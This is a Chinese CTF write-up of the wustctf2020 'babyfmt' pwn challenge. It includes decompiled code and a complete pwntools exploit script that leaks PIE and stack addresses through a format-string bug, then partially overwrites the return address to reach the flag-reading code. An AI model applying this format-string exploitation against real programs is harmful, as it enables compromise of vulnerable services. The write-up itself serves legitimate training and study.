menu EDS
wustctf2020 pwn
1698 浏览 | 2020-04-30 | 分类:pwn | 标签:

wustctf2020 pwn

babyfmt

题目给定ELF文件一个

  1. ida静态分析

main()函数过多,在这里简单分析。利用menu()函数讲解。

首先main函数在清空输入输出流后进入一个函数initial()。在secret处写入0x40个随机数。

unsigned __int64 initial()
{
  int fd; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  fd = open("/dev/urandom", 0);
  if ( read(fd, secret, 0x40uLL) < 0 )
  {
    puts("read error!");
    exit(1);
  }
  close(fd);
  return __readfsqword(0x28u) ^ v2;
}

执行完之后进入一个互动函数ask_time(),随便输入三个数字即可通过。

unsigned __int64 ask_time()
{
  __int64 v1; // [rsp+0h] [rbp-20h]
  __int64 v2; // [rsp+8h] [rbp-18h]
  __int64 v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("dididada.....");
  printf("tell me the time:");
  _isoc99_scanf("%ld", &v1);
  _isoc99_scanf("%ld", &v2);
  _isoc99_scanf("%ld", &v3);
  printf("ok! time is %ld:%ld:%ld\n", v1, v2, v3);
  return __readfsqword(0x28u) ^ v4;
}

menu()函数,表示功能。

unsigned __int64 menu()
{
  unsigned __int64 v0; // ST08_8

  v0 = __readfsqword(0x28u);
  puts("1. leak");
  puts("2. fmt_attack");
  puts("3. get_flag");
  puts("4. exit");
  printf(">>");
  return __readfsqword(0x28u) ^ v0;
}

leak()会泄露任意地址内的一个字节,只能使用一次(我做题的时候没用到)。

unsigned __int64 __fastcall leak(_DWORD *a1)
{
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( *a1 > 0 )
  {
    puts("No way!");
    exit(1);
  }
  *a1 = 1;
  read_n(&buf, 8);
  write(1, buf, 1uLL);
  return __readfsqword(0x28u) ^ v3;
}

fmt_attack()会进行一次格式化字符串攻击,只能使用一次,不过他的验证机制存在栈内,且执行先于fmt攻击,可以进行修改。

unsigned __int64 __fastcall fmt_attack(_DWORD *a1)
{
  char format; // [rsp+10h] [rbp-40h]
  unsigned __int64 v3; // [rsp+48h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(&format, 0, 0x30uLL);
  if ( *a1 > 0 )
  {
    puts("No way!");
    exit(1);
  }
  *a1 = 1;
  read_n(&format, 40);
  printf(&format, 40LL);
  return __readfsqword(0x28u) ^ v3;
}

get_flag()“后门”函数,不过有验证机制,必须你的输入与随机数完全相符,才能继续执行,不过这个玩意有个坑爹之处,符合标准后先执行close(1),然后程序崩溃,无法获得flag,几乎无法触发利用(个人认为)。

void __noreturn get_flag()
{
  int fd; // ST0C_4
  char s2; // [rsp+10h] [rbp-60h]
  unsigned __int64 v2; // [rsp+68h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&s2, 0, 0x50uLL);
  puts("If you can open the door!");
  read_n(&s2, 64);
  if ( !strncmp(secret, &s2, 0x40uLL) )
  {
    close(1);
    fd = open("/flag", 0);
    read(fd, &s2, 0x50uLL);
    printf(&s2, &s2);
    exit(0);
  }
  puts("No way!");
  exit(1);
}
  1. 动态分析

checksec得知该程序4保护全开,不能直接栈溢出,不能直接跳转指定地址,不能修改got表,栈内不可执行。

多次交互后进入关键函数fmt_attack()函数内,多次测试$rbp内的值为第16个参数。经过计算得出该函数使用验证位为第16-0x48/8=7位,第17位的ret可泄露pie。

思路为首先将验证位归零,破坏验证机制以便重复利用格式化字符串漏洞,并泄露pie和rbp的值以便接下来的操作,脚本如下。

local = 1
if local == 1:
    r=process('./babyfmt')
    gdb.attach(r,'b * $rebase(0xED1)')
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('node3.buuoj.cn',27965)
    #libc = ELF('./libc.so.6')

elf = ELF('./babyfmt')

for i in range(3):
    r.sendline('1')
    #三次交互随便发数字

r.recvuntil('>>')
r.sendline('2')
sleep(2)
r.sendline('%7$n%17$p%16$psaaaaaaaa')

pie = int(r.recv(14),16)-4140
rbp = int(r.recv(14),16)-0x30
print '17>>>>>'+hex(pie+4140)
print 'pie>>>>'+hex(pie)
print 'rbp>>>>'+hex(rbp)

r.interactive()

泄露后可以二次格式化字符串随意修改该函数的ret地址,不过只能修改一次因为修改后会离开程序无法回来,且exp限制在40个字节内不能完全修改ret地址。这时想到get_flag()函数有读取flag操作,且与ret地址前2/3完全相同,直接格式化修改后两位byte跳转至关键部位。

关键部位

.text:0000000000000F13                 lea     rdi, aIfYouCanOpenTh ; "If you can open the door!"
.text:0000000000000F1A                 call    puts
.text:0000000000000F1F                 lea     rax, [rbp+s2]
.text:0000000000000F23                 mov     esi, 40h ; '@'
.text:0000000000000F28                 mov     rdi, rax
.text:0000000000000F2B                 call    read_n
.text:0000000000000F30                 lea     rax, [rbp+s2]
.text:0000000000000F34                 mov     edx, 40h ; '@'  ; n
.text:0000000000000F39                 mov     rsi, rax        ; s2
.text:0000000000000F3C                 lea     rdi, secret     ; s1
.text:0000000000000F43                 call    strncmp
.text:0000000000000F48                 test    eax, eax
.text:0000000000000F4A                 jnz     short loc_FA0
.text:0000000000000F4C                 mov     edi, 1          ; fd
.text:0000000000000F51                 call    close
.text:0000000000000F56 <=============  mov     esi, 0          ; oflag
.text:0000000000000F5B                 lea     rdi, aFlag      ; "/flag"
.text:0000000000000F62                 mov     eax, 0
.text:0000000000000F67                 call    open
.text:0000000000000F6C                 mov     [rbp+fd], eax
.text:0000000000000F6F                 lea     rcx, [rbp+s2]
.text:0000000000000F73                 mov     eax, [rbp+fd]
.text:0000000000000F76                 mov     edx, 50h ; 'P'  ; nbytes
.text:0000000000000F7B                 mov     rsi, rcx        ; buf
.text:0000000000000F7E                 mov     edi, eax        ; fd
.text:0000000000000F80                 call    read
.text:0000000000000F85                 lea     rax, [rbp+s2]
.text:0000000000000F89                 mov     rdi, rax        ; format
.text:0000000000000F8C                 mov     eax, 0
.text:0000000000000F91                 call    printf
.text:0000000000000F96                 mov     edi, 0          ; status
.text:0000000000000F9B                 call    exit
.text:0000000000000FA0 ; ---------------------------------------------------------------------------

exp如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'


local = 1
if local == 1:
    r=process('./babyfmt')
    gdb.attach(r,'b * $rebase(0xED1)')
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('node3.buuoj.cn',27965)
    #libc = ELF('./libc.so.6')

elf = ELF('./babyfmt')

for i in range(3):
    r.sendline('1')
    

r.recvuntil('>>')
r.sendline('2')
sleep(2)
r.sendline('%7$n%17$p%16$psaaaaaaaa')

pie = int(r.recv(14),16)-4140
rbp = int(r.recv(14),16)-0x30
print '17>>>>>'+hex(pie+4140)
print 'pie>>>>'+hex(pie)
print 'rbp>>>>'+hex(rbp)
secret = pie+0x202060
flag = pie+0xF56

r.recvuntil('>>')
r.sendline('2')
sleep(1)
num = flag & 0xffff

exp = '%'+str(num)+'c%10$hn'
exp += 'a'*(16-len(exp))
exp +=p64(rbp+8)
print len(exp)
r.sendline(exp)


r.interactive()

该操作如果输出过多可能会导致崩溃,多次执行就会成功。

\xa0aaaa�,HD\xfe\x7fflag{xxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
�4\xb8\x94\x7f\x10-HD\xfe\x7[*] Got EOF while reading in interactive
$  

未完待续

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!